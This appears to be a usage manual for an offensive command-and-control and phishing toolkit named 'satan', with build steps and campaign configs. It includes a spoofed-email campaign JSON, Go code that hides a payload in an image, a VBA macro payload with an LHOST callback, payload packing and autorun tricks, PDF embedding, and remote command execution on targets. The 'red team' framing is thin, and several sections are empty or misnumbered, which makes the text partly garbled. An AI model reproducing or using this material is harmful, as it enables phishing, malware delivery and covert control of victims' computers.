Installation and Usage Guide

1. Installation Guide

Prerequisites

Steps to Install

  1. Clone the repository containing the software:
    git clone https://username@the-satan.xyz/token-received-via-email/x-satan.git
  2. Navigate to the project directory:
    cd x-satan
  3. Build the Go project:
    go build -o c2server main.go
  4. Activate the software:
    ./setup --key-[Activation key received via email] --user-token [user token in email] --activate
  5. Move the binary to a system-wide executable path (optional):
    sudo mv c2server /usr/local/bin/
  6. Run the server:
    ./c2server
  7. Usage CLI manual:
    ./satan --manual
  • Help command:
    ./satan -h
  • Command-Line Interface (CLI) Features

    1. Login System

    To ensure secure access, the software includes a CLI-based login system. Use the following commands:

    2. Subaccount Setup

    Create and manage subaccounts for team members or collaborators:

    3. Payload Importation

    Import custom payloads into the system:

    4. IMAP and POP3 Server Login

    Configure the software to access email servers:

    5. Termux Monitor Setup

    Use Termux on Android to monitor the server:

    3. Additional Instructions On Chain Spoofing

    The software is designed for red team operations and ethical hacking. Below are additional usage scenarios:

    Automated Campaign Management

    Set up fully automated campaigns using JSON configuration files. Example:

    {
        "name": "EmailSpoofCampaign",
        "target_emails": ["target1@example.com", "target2@example.com"],
        "payload": "stego_image.png",
        "server": "smtp.example.com",
        "port": 587,
        "credentials": {
            "username": "spoof@example.com",
            "password": "password"
        }
    }

    Run the campaign:

    ./satan --run-campaign --config campaign.json

    2. Usage Guide

    Command-Line Interface (CLI) Usage

    The software provides a comprehensive CLI for setting up and managing campaigns. Below are common commands:

    Social Engineering Execution

    1. Creating a Custom Script with Steganography

    Embed payloads into images using Go-based libraries like `github.com/auyer/steganography`:

    package main
    
    import (
        "github.com/auyer/steganography"
        "os"
    )
    
    func main() {
        inputFile, _ := os.Open("image.png")
        outputFile, _ := os.Create("stego_image.png")
        payload := []byte("YourEncodedPayloadHere")
        steganography.Encode(inputFile, outputFile, payload)
    }
    

    2. Embedding Payload in a Macro-Enabled Document

    Use `satan` to generate payloads and embed them into Office documents:

    satan -p windows/macro/embed LHOST=192.168.1.10 LPORT=4445 -f vba > payload.vba

    Then inject the generated VBA macro into a Word document.

    3. Using Satan Packer Tools

    Use Go-based packer tools to obfuscate payloads:

    satan --target app.exe --input payload.vba --output packed_payload.exe

    4. Hiding Payload in ZIP/RAR Files

    Automate extraction and execution with scripting:

    echo "@echo off\nstart payload.exe" > autorun.bat

    Add the batch file and payload to the archive.

    5. Hiding and Executing Payload in PDFs, Audio, or Video

    Using satan to embed payloads:

    satan --embed payload.exe --input file.pdf --output malicious.pdf

    For videos or audio, add input file name and extentions to embed payloads in metadata or unused streams.

    3. Advanced Campaign Management

    Overview

    The software supports creating and managing multiple advanced campaigns for phishing, payload delivery, and post-exploitation. Configure campaigns using JSON templates:

    {
        "name": "PhishingCampaign",
        "targets": ["user1@example.com", "user2@example.com"],
        "payload": "payload.png",
        "delivery": "email"
    }

    Command Examples

    4. Post-Exploitation Techniques

    Once a payload is executed on a target system, the following techniques are supported:

    Command Examples

    ./c2server --execute-command "ls -la" --target 192.168.1.5

    5. Security and Best Practices

    Follow these best practices while using the software: